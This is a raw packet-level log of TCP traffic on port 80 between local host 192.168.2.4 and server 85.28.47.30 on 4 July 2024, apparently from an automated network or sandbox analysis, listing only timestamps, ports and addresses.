Jul 4, 2024 20:34:03.560411930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560416937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560426950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560442924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560447931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560456991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560477018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560496092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560507059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560508013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560519934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560529947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560551882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560566902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560574055 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560579062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560590982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560606956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560651064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560656071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560667038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560677052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560709953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560714006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560720921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560725927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560735941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560755014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560755968 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560765028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560796022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560801029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560807943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560827017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560858965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560884953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560895920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560906887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560919046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560928106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560930967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560972929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561007023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561018944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561024904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561031103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561042070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561048985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561053991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561064959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561083078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561110020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561150074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561161995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561172009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561182976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561192036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561194897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561206102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561208010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561216116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561239004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561264992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561317921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561328888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561340094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561364889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561393023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561398029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561405897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561418056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561428070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561433077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561455011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561485052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561521053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561531067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561542034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561552048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561564922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561574936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561578035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561585903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561595917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561605930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561625004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561642885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561651945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561662912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561678886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561695099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561732054 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561743021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561759949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561770916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561783075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561794043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561801910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561835051 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561917067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561928034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561944008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561954021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561964989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561964989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561975002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561983109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561986923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.561995983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.561997890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562015057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562025070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562026978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562043905 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562061071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562071085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562081099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562096119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562129021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562227964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562238932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562257051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562266111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562275887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562278986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562289000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562294006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562304974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562325001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562351942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562407017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562417984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562428951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562438965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562448025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562449932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562460899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562460899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562472105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562483072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562493086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.562496901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562515020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.562541008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.625008106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.625021935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.625027895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.625041962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.625046968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.625057936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.625073910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.625102043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.625123024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.625166893 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654383898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654398918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654409885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654421091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654437065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654448986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654459953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654509068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654520035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654520035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654529095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654539108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654548883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654558897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654568911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654578924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654620886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654620886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654632092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654644012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654654026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654659033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654664993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654675007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654680967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654685974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654689074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654716969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654730082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654767990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654778004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654793978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654803991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654808998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654813051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654824018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654829979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654834986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654839039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654875994 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654922962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654933929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654943943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654959917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654970884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654970884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654988050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.654997110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.654999971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655010939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655024052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655025959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655038118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655038118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655050039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655061960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655062914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655081034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655107021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655286074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655296087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655307055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655318022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655328035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655334949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655354977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655371904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655392885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655404091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655414104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655424118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655435085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655440092 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655443907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655456066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655472040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655486107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655504942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655534029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655544996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655555010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655565977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655576944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655579090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655611992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655623913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655641079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655652046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655661106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655672073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655683041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655687094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655714035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655715942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655729055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655735970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655749083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655760050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655760050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655774117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655797958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655806065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655819893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655831099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655842066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.655849934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655879021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.655905962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656225920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656260014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656277895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656294107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656303883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656303883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656331062 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656363010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656383991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656394958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656433105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656510115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656522036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656532049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656543970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656560898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656582117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656608105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656670094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656681061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656691074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656701088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.656718016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.656749964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.657819986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.657859087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.657871008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.657876015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.657896996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.657922029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.658016920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658029079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658039093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658050060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658065081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.658066034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658101082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.658121109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.658189058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658200979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658210993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658222914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658233881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658235073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.658246040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658277988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.658301115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.658648014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658694983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658705950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658785105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658796072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658807993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658818960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.658849001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.659634113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.718774080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.718858004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.718858004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.718868971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.718924046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.718947887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.718954086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.718961000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.718971014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.718981028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.718986988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.719012022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.719022036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.719049931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.719079018 CEST	49730	80	192.168.2.4	85.28.47.30
